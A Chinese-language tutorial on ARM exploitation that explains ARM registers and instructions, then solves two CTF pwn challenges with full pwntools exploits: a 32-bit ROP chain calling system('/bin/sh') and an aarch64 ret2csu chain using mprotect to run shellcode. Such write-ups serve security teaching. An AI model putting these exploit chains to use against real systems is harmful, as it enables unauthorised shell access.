Khorina · 2021年05月18日

ARM PWN 从 0 到 1

0x00寄存器

ARM处理器中一共有37个32寄存器,其中31个为通用寄存器、6个位状态寄存器。任何时候,通用寄存器(R0-R14)、PC、一个状态寄存器都是可以访问的。但是在不同的工作状态和工作模式,寄存器是否可以访问是不一样的。

状态寄存器就是保存了符号标志、零标志、溢出标志、进位标志等,和X86汇编寄存器中的一些寄存器的相似的

image.png

R0-R12供程序数据使用,R13是栈指针(SP),R14为子程序链接寄存器(LR),通常存储函数的返回地址

0x01指令

ARM处理器的指令集可以分为六种指令:跳转指令、数据处理指令、程序状态寄存器处理指令、加载存储指令、协处理器指令、异常产生指令。总的来说和X86指令集还是有些不一样的

跳转指令

跳转指令可以分为两种:

专门的跳转指令,可以实现向前向后32MB的地址跳转
直接修改PC寄存器,通过向PC寄存器写入目的地址,可以实现4GB的地址空间的跳转,结合使用MOV LR, PC,保存函数的返回地址
1.B:执行一个简单的跳转,目标地址是相对于当前PC值的偏移地址
2.BL:跳转之前会把PC值存到R14寄存器中,通常用于函数调用
3.BLX:和上一个指令相比,多的功能是将处理器的工作状态由ARM变成Thumb
4.BX:可以跳转到ARM指令或者Thumb指令

数据处理指令

可分为数据传送指令、算术逻辑运算运算、比较指令

1.MOV:和X86是差不多的
2.MVN:在转移之前先按位取反
3.CMP:两个寄存器中的值进行比较,不改变寄存器的值,但是更新CPSR标志寄存器
4.ADD:把后两个寄存器相加,结果存在第一个寄存器中
5.SUB:把后两个寄存器相减,结果存在第一个寄存器中
6.AND:逻辑与
7.ORR:逻辑或
8.EOR:异或
9.MUL:把后两个寄存器相乘,结果存在第一个寄存器中

程序状态寄存器处理指令

1.MRS:用于将程序状态寄存器的内容送到通用寄存器
2.MSR:将操作数的内容送到程序状态寄存器的特定域

加载存储指令

适用于在寄存器和存储器之间数据的传输

和X86不一样的是mov指令只能够在寄存器之间传送数据

LDR:将一个32位的数据送到寄存器中
LDRB:将一个8位的数据送到寄存器中,并且把高24位清零
LDRH:将一个16位的数据送到寄存器中,并且把高16位清零
STR:从源寄存器32位存入到存储器中,和前几个指令相比是不清零

协处理器指令

CDP:用于ARM处理器通知ARM协处理器来处理特定的操作,若协处理器不能完成,则抛出异常
LDC:让协处理器来将源寄存器的内容送到存储器中,若协处理器不能完成操作,则抛出异常

异常产生指令

SWI:产生软件中断
BKPT:产生软件断点中断
以上总结的是常见的,如果做题遇到不认识的指令,及时添补即可

0x03实战

typo

题目信息:

 radish ➜ arm-pwn  file typo    
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
 radish ➜ arm-pwn  checksec --file typo
[*] '/media/psf/Home/MyFile/ctf/arm-pwn/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

题目是静态链接,但是已经去了符号表,我们可以把libc的符号表导出来,再导进去这个文件,即可恢复一些符号

用ida来分析程序:(通过字符串来找到关键函数)
sub_8F00

void __fastcall __noreturn sub_8F00(int a1, int a2)
{
  int v2; // ST00_4
  int v3; // ST04_4
  void *v4; // r3
  int v5; // r1
  void *v6; // r2
  void *v7; // r3
  int v8; // r0
  int v9; // r0

  sub_11D04(off_A1538, 0, 2, 0, a2, a1);
  sub_11D04(off_A1534[0], 0, 2, 0, v2, v3);
  sub_22240(1, "Let's Do Some Typing Exercise~nPress Enter to get start;nInput ~ if you want to quitn", 0x56, v4);
  if ( sub_12170() != 10 )
    sub_FBD4(-1);
  sub_22240(1, "------Begin------", 0x11, 0xA);
  v8 = time(0, v5, v6, v7);
  sub_FE28(v8);
  ftime();
  v9 = sub_10568();
  sub_11338("n%sn", &aAbandon[20 * (v9 % 4504)]);
}

首先用户必须先读入一个回车,然后才程序继续,不然程序就直接退出了,测试的时候发现f5出的不是太全,看汇编

.text:00009034                 LDR     R2, [R11,#-0x1C]
.text:00009038                 MOV     R3, R2
.text:0000903C                 MOV     R3, R3,LSL#2
.text:00009040                 ADD     R3, R3, R2
.text:00009044                 MOV     R3, R3,LSL#2
.text:00009048                 LDR     R2, =aAbandon   ; "abandon"
.text:0000904C                 ADD     R3, R3, R2
.text:00009050                 MOV     R0, R3
.text:00009054                 BL      sub_8D24
.text:00009058                 STR     R0, [R11,#-0x20]
.text:0000905C                 LDR     R3, [R11,#-0x20]
.text:00009060                 CMP     R3, #0
.text:00009064                 BNE     loc_907C
.text:00009068                 LDR     R0, =aERROR     ; "E.r.r.o.r."
.text:0000906C                 BL      sub_11AC0
.text:00009070                 LDR     R3, [R11,#-0x14]

可以看到E.r.r.o.r.,这个是每次循环读入字符串之后的输出,那么输入的函数肯定在这个之前

sub_8D24

signed int __fastcall sub_8D24(int a1)
{
  unsigned int v1; // r0
  int v2; // r4
  unsigned __int8 *v5; // [sp+4h] [bp-78h]
  char v6; // [sp+Ch] [bp-70h]

  v5 = a1;
  memset(&v6, 0, 100);
  sub_221B0(0, &v6, 0x200);
  v1 = strlen(v5);
  if ( !sub_1F860(v5, &v6, v1) )
  {
    v2 = strlen(v5);
    if ( v2 == strlen(&v6) - 1 )
      return 1;
  }
  if ( v6 == 0x7E )
    return 2;
  return 0;
}

可以清晰的看到存在栈溢出
用pwndbg中的cyclic测出来偏移是112,第一次做arm的pwn,搞不懂返回地址在哪里存,把stack的数据打印出来就好了:

pwndbg> stack 100
00:0000│ sp   0xf6ffee78 —▸ 0xa30d8 ◂— 0
01:0004│      0xf6ffee7c —▸ 0x9c0f8 ◂— rsbvc  r6, sb, #0x730000 /* 0x72696873; 'shirt' */
02:0008│      0xf6ffee80 —▸ 0xf6ffeee4 ◂— 0x0
03:000c│ r1   0xf6ffee84 ◂— 'wxmn'
04:0010│      0xf6ffee88 ◂— 0x0
... ↓
1c:0070│      0xf6ffeee8 —▸ 0x6bf08 ◂— beq    #0x1d35338 /* 'n%sn' */
1d:0074│      0xf6ffeeec —▸ 0xf6ffef40 —▸ 0x8af8c ◂— cdphi  p13, #0xb, c2, c2, c0, #0 /* 0x8eb22d00 */
1e:0078│      0xf6ffeef0 —▸ 0xf6ffef2c —▸ 0xa0ac ◂— bl     #0xfbd4
1f:007c│ r11  0xf6ffeef4 —▸ 0x9058 ◂— str    r0, [fp, #-0x20] /* ' ' */
20:0080│      0xf6ffeef8 —▸ 0xf6fff084 —▸ 0xf6fff241 ◂— './typo'
21:0084│      0xf6ffeefc ◂— 0x1
22:0088│      0xf6ffef00 ◂— 0x6
23:008c│      0xf6ffef04 —▸ 0xf6fff241 ◂— './typo'
24:0090│      0xf6ffef08 —▸ 0x8cb4 ◂— push   {r3, lr}
25:0094│      0xf6ffef0c —▸ 0xa670 ◂— cmp    r4, sb /* 't' */

可以发现返回地址存在r11,距离R11的偏移也刚刚好是112

然后用ROPgadget找到合适的指令

 radish ➜ arm-pwn  ROPgadget --binary typo --only 'pop'
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29
 radish ➜ arm-pwn

可以看到有一个pop {r0, r4, pc},刚好覆盖了第一个参数和pc,修改成system("/bin/shx00")即可

exp:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
r = process("./typo", timeout = 2)

ru("if you want to quitn")
sl("")
ru("n")
ru("n")
system_addr = 0x00110B4
bin_sh_addr = 0x006C384
ppp = 0x00020904#pop {r0, r4, pc}
payload = "A"*112+p32(ppp)+p32(bin_sh_addr)+p32(0)+p32(system_addr)
sl(payload)
ri()

baby_arm
这个题是64位的

通过捣鼓环境发现在ubuntu:18.04上gdb没有报错,所以又在ubuntu:18.04配置了一下环境

radish ➜ arm-pwn  checksec --file baby_arm
[*] '/media/psf/Home/MyFile/ctf/arm-pwn/baby_arm'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
radish ➜ arm-pwn  file baby_arm
baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped

这道题是动态链接的

在IDA里面分析程序

__int64 sub_400818()
{
  sub_400760();
  write(1LL, "Name:", 5LL);
  read(0LL, &unk_411068, 512LL);
  sub_4007F0();
  return 0LL;
}

首先读入bss段上一个长度512的字符串,然后在sub_4007F0里面存在栈溢出

__int64 sub_4007F0()
{
  __int64 v1; // [xsp+10h] [xbp+10h]

  return read(0LL, &v1, 512LL);
}

但是发现,第二次输入的字符串在ret地址的下面,所以覆盖sub_400818函数的返回地址

SP   0x40007ffd60 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
 PC   0x400810 ◂— ldp    x29, x30, [sp], #0x50
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400810        ldp    x29, x30, [sp], #0x50
   0x400814        ret    
    ↓
   0x400858        movz   w0, #0
   0x40085c        ldp    x29, x30, [sp], #0x10
   0x400860        ret    
    ↓
   0x40008656e0    bl     #0x4000879f40
    ↓
   0x4000879f40    stp    x29, x30, [sp, #-0x10]!
   0x4000879f44    adrp   x1, #0x4000999000
   0x4000879f48    movz   w3, #0x1
   0x4000879f4c    add    x1, x1, #0x5a0
   0x4000879f50    mov    x29, sp
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────
00:0000│ x29 sp  0x40007ffd60 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
01:0008│         0x40007ffd68 —▸ 0x400858 ◂— movz   w0, #0
02:0010│ x1      0x40007ffd70 ◂— 'aaaaaaaaan'
03:0018│         0x40007ffd78 ◂— 0x1000000a61 /* 'an' */
04:0020│         0x40007ffd80 —▸ 0x40007ffdb0 —▸ 0x40007ffdc0 ◂— 0x0
05:0028│         0x40007ffd88 —▸ 0x400854 ◂— bl     #0x4007f0
06:0030│         0x40007ffd90 —▸ 0x400868 ◂— stp    x29, x30, [sp, #-0x40]!
07:0038│         0x40007ffd98 ◂— 0x8020080280200802
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400810
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x000000000400810

计算出来偏移是72,这里ROP用到的是ret2csu

loc_4008AC                            ; CODE XREF: sub_400868+60↓j
                 LDR             X3, [X21,X19,LSL#3] ;将x21寄存器的地址指向的内容赋给x3寄存器
                 MOV             X2, X22    ;将x22寄存器的内容赋给x2
                 MOV             X1, X23    ;将x23寄存器的内容赋给x1
                 MOV             W0, W24    ;将W24寄存器的内容赋给W0
                 ADD             X19, X19, #1    ;x19寄存器加一
                 BLR             X3    ;跳转到x3寄存器指向的地址
                 CMP             X19, X20    ;比较x19和x20是否相等
                 B.NE            loc_4008AC    ;如果不相等,就跳回loc_4008AC继续执行
loc_4008CC                              ; CODE XREF: sub_400868+3C↑j
                 LDP             X19, X20, [SP,#0x10]    ;将sp+0x10,sp+0x18处的内容给x19,x20
                 LDP             X21, X22, [SP,#0x20]    ;将sp+0x20,sp+0x28处的内容给x21,x22
                 LDP             X23, X24, [SP,#0x30]    ;将sp+0x30,sp+0x38处的内容给x23,x24
                 LDP             X29, X30, [SP],#0x40    ;将sp,sp+0x8处的内容给x29,x30
                 RET

然后函数里面存在mprotect,我们利用ROP把bss段修改成可读可写可执行的权限,然后把shellcode写入里面,最后跳转到bss段即可获取到shell

exp:

from pwn import *
context.binary = "./baby_arm"
context.log_level='debug'
'''
if local:
    p = remote("106.75.126.171","33865")
elif debug:
    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
else:
    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
'''
# r = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])
# r = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "baby_arm"])


sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru("Name:")
shellcode = asm(shellcraft.aarch64.sh())
mprotect_point = 0x4110a0
mprotect_plt = 0x000000000400600
pay = shellcode + "a"*0xc+p64(mprotect_plt)
# print len(shellcode)
sl(pay)

code_1 = 0x4008CC
payload = "a"*72
payload += p64(code_1)
payload += p64(0)+p64(0x4008AC)
payload += p64(0)+p64(1)#X19, X20, [SP,#0x10]
payload += p64(mprotect_point)+p64(7)#X19, X20, [SP,#0x10]
payload += p64(0x1000)+p64(0x000000000411000)
payload += p64(0)+p64(0x411068)

# gdb.attach(r,'''
#     set architecture aarch64
# ''')
# raw_input()
sl(payload)
ri()

0x04参考文献

ARM汇编指令集

作者:萝卜@星盟
原文链接:https://www.anquanke.com/post...

声明:本文经安全客授权发布,转载请联系安全客平台。

推荐阅读
关注数
4570
内容数
191
Arm发布的PSA旨在为物联网安全提供一套全面的安全指导方针,使从芯片制造商到设备开发商等价值链中的每位成员都能成功实现安全运行。
目录
极术微信服务号
关注极术微信号
实时接收点赞提醒和评论通知
安谋科技学堂公众号
关注安谋科技学堂
实时获取安谋科技及 Arm 教学资源
安谋科技招聘公众号
关注安谋科技招聘
实时获取安谋科技中国职位信息